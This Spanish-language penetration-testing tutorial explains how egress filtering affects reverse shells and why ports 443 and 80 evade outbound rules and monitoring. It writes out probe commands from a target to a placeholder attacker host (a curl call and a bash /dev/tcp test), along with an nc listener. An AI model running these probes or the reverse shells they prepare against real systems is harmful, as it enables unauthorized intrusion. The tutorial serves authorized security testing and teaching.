Filtrado de egress y reverse shells: por qué gana el puerto 443
Cómo las reglas de firewall de salida deciden si una reverse shell conecta, cómo probar el egress antes de disparar, y por qué 443 y 80 son los puertos por defecto.
Una reverse shell solo funciona si el objetivo puede alcanzar de verdad tu listener. Lo que se interpone es el filtrado de egress — las reglas de firewall que gobiernan el tráfico de salida. Aquí fallan más reverse shells que por cualquier bug del payload, y el fallo es silencioso: el payload se ejecuta, la conexión nunca llega, y te quedas preguntándote si el exploit siquiera se disparó.
El ingress es estricto, el egress suele ser laxo
Los firewalls son asimétricos. Las reglas de entrada son estrictas porque exponer servicios es arriesgado. Las reglas de salida son a menudo permisivas porque los usuarios necesitan la web — y esa asimetría es la razón entera por la que las reverse shells ganan a las bind shells.
Pero "suele ser laxo" no es "abierto". Las redes maduras también aplican filtrado de egress: permitiendo solo puertos de salida concretos, forzando el tráfico a través de un proxy, o haciendo inspección de TLS. Tu trabajo es encontrar una ruta que esté realmente permitida.
Por qué 443 y 80
Elige puertos de listener que se mezclen con el tráfico esperado. Los puertos de salida 443 (HTTPS) y 80 (HTTP) están abiertos en prácticamente toda red porque, de lo contrario, la navegación se rompería. Una reverse shell al 443 parece — a nivel de conexión — una sesión HTTPS más.
Un puerto alto raro como 4444 es lo contrario: nada legítimo lo usa, así que una política de egress de denegación por defecto lo descarta y un monitor basado en anomalías lo marca. Si una shell no conecta, mover el LPORT a 443 es lo de mayor valor que puedes probar (consulta la definición de LPORT).
Prueba el egress antes de comprometerte
Si ya tienes ejecución de comandos básica (aunque sea a ciegas), sondea la accesibilidad de salida antes de disparar el payload real. Desde el objetivo:
# Can it reach you on 443 at all?
curl -m 5 https://YOUR_IP/ ; echo "exit: $?"
# Or a raw TCP test
timeout 5 bash -c 'echo > /dev/tcp/YOUR_IP/443' && echo OPEN || echo BLOCKED
Ejecuta un listener en tu lado (nc -lvnp 443) y observa si el sondeo llega. Prueba un par de puertos candidatos — 443, luego 80, luego 53 — y usa el que conecte. Esto convierte el "mi shell falla misteriosamente" en un puerto comprobado como bueno antes de gastar tu único intento de ejecución bueno.
Cuando solo sale un proxy
Algunas redes bloquean por completo la salida directa y fuerzan todo a través de un proxy HTTP. Una reverse shell TCP en crudo no atravesará eso. Las opciones se vuelven más pesadas — tunelizar la shell sobre un canal HTTP/HTTPS que use el proxy, o egress basado en DNS donde solo el DNS resuelve hacia fuera. Esos son temas más profundos; el primer diagnóstico es sencillamente ¿sale algo de forma directa, y por qué puerto?
Intégralo en tu triaje
El egress es el paso tres de la lista general — intérprete, comillas, egress, listener. El recorrido completo está en por qué fallan las reverse shells.
Genera con el puerto correcto
El generador de reverse shell te deja fijar el LPORT a 443 (o el que tu prueba de egress demostró abierto) y emite el payload más el listener correspondiente, de modo que el puerto que confirmaste sea el puerto que usas.
Solo pruebas autorizadas
Sondea y conecta únicamente desde sistemas de tu propiedad o que tengas autorización explícita para probar. La autorización es lo que hace que las pruebas sean legítimas.